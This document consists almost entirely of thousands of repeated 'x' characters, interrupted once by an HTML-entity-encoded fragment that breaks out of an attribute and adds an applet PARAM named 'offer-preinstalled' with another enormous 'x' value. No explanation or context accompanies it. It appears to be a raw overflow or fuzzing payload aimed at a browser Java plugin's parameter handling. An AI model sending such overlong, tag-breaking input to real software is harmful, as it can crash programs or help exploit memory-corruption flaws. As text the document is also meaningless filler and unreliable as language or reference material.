xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;offer-preinstalled\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx